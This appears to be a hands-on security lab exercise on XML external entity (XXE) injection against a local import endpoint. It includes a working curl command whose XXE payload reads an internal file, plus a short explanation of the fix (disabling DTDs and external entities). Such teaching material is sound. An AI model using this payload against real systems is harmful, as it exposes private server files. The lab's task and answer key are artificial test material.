Read an internal file with XXE
The import endpoint at /app/import parses POSTed XML with external entities enabled. Craft an XXE payload that reads the internal file /srv/vt-target/internal/xxe.txt and capture the flag it holds, saving it under your home.
How it works: the terminal below is a real Linux machine running in your browser. Click it and
type. Tasks tick themselves off as you complete them; questions are answered in the box under each task.
Press Reset any time for a fresh machine. Your password on this machine (for
sudo) is student.
Solution explanation
By declaring an external entity you turned a profile importer into a file reader: the parser fetched the internal file and pasted it into the response. XXE is a parser-configuration flaw, not an input flaw — the cure is to disable DTDs and external entities (use defusedxml or a hardened parser), which costs you nothing because real documents don't need them.
Show solution
cd /home/student
curl -s -X POST --data-binary '<?xml version="1.0"?><!DOCTYPE p [<!ENTITY xxe SYSTEM "file:///srv/vt-target/internal/xxe.txt">]><profile><name>&xxe;</name></profile>' http://127.0.0.1:8080/app/import | tee loot.txt